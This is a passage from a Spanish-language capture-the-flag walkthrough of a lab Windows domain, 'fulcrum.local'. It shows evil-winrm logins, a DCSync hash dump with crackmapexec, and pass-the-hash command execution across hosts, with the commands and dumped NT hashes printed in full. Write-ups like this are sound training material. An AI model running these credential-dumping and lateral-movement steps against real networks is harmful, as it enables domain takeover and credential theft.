SMB dc.fulcrum.local 445 DC [+] fulcrum.local\923a:@fulcrum_bf392748ef4e_$ (Pwn3d!)
Podemos conectarnos como este usuario con evil-winrm
y leer la ultima flag de root
❯ proxychains -q evil-winrm -i dc.fulcrum.local -u 923a -p @fulcrum_bf392748ef4e_$
PS C:\Users\923a\Documents> whoami
fulcrum\923a
PS C:\Users\923a\Documents> type C:\Users\Administrator\Desktop\root.txt
8dd**************************cab
PS C:\Users\923a\Documents>
Shell - Administrator
Si quisieramos una shell especificamente como Administrator
usando la credencial de 923a
podemos hacer un DCSync para ver los hashes NT
de todos los usuarios
❯ proxychains -q crackmapexec smb dc.fulcrum.local -u 923a -p @fulcrum_bf392748ef4e_$ --ntds drsuapi
SMB dc.fulcrum.local 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:fulcrum.local) (signing:True) (SMBv1:False)
SMB dc.fulcrum.local 445 DC [+] fulcrum.local\923a:@fulcrum_bf392748ef4e_$ (Pwn3d!)
SMB dc.fulcrum.local 445 DC [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB dc.fulcrum.local 445 DC Administrator:500:aad3b435b51404eeaad3b435b51404ee:17ac19e99e0d2140a9162c97414ceb43:::
SMB dc.fulcrum.local 445 DC Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB dc.fulcrum.local 445 DC krbtgt:502:aad3b435b51404eeaad3b435b51404ee:30dd0b7d7f91ca7b1ec413871f095c64:::
SMB dc.fulcrum.local 445 DC ldap:1103:aad3b435b51404eeaad3b435b51404ee:a97c08ac07aa5f9a2fd85c8557cb5934:::
SMB dc.fulcrum.local 445 DC 923a:1104:aad3b435b51404eeaad3b435b51404ee:57cecc4c6320e7a5739ef24ea54ae6b4:::
SMB dc.fulcrum.local 445 DC BTables:1105:aad3b435b51404eeaad3b435b51404ee:35f6c3ebbd5fb321ab9b312177ac63cf:::
SMB dc.fulcrum.local 445 DC DC$:1000:aad3b435b51404eeaad3b435b51404ee:d1c6ccdaaf3c22126e7f9f49a5b8ecec:::
SMB dc.fulcrum.local 445 DC FILE$:1106:aad3b435b51404eeaad3b435b51404ee:7d766e4328b3a15d562ea8f319b34788:::
Usando este hash
ya que el usuario es administrador del dominio podemos ejecutar comandos en cualquiera de los equipos como el usuario Administrator
❯ proxychains -q crackmapexec winrm 192.168.122.130-132 -u Administrator -H 17ac19e99e0d2140a9162c97414ceb43 -d fulcrum.local -x whoami
HTTP dc.fulcrum.local 5985 DC [*] http://dc.fulcrum.local:5985/wsman
WINRM dc.fulcrum.local 5985 DC [+] fulcrum.local\Administrator:17ac19e99e0d2140a9162c97414ceb43 (Pwn3d!)
WINRM dc.fulcrum.local 5985 DC [+] Executed command
WINRM dc.fulcrum.local 5985 DC fulcrum\administrator
HTTP file.fulcrum.local 5985 FILE [*] http://file.fulcrum.local:5985/wsman
WINRM file.fulcrum.local 5985 FILE [+] fulcrum.local\Administrator:17ac19e99e0d2140a9162c97414ceb43 (Pwn3d!)
WINRM file.fulcrum.local 5985 FILE [+] Executed command
WINRM file.fulcrum.local 5985 FILE fulcrum\administrator
Nuevamente nos conectamos con evil-winrm
pero esta vez como Administrator
❯ proxychains -q evil-winrm -i dc.fulcrum.local -u Administrator -H 17ac19e99e0d2140a9162c97414ceb43
PS C:\Users\Administrator\Documents> whoami
fulcrum\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
8dd**************************cab
PS C:\Users\Administrator\Documents>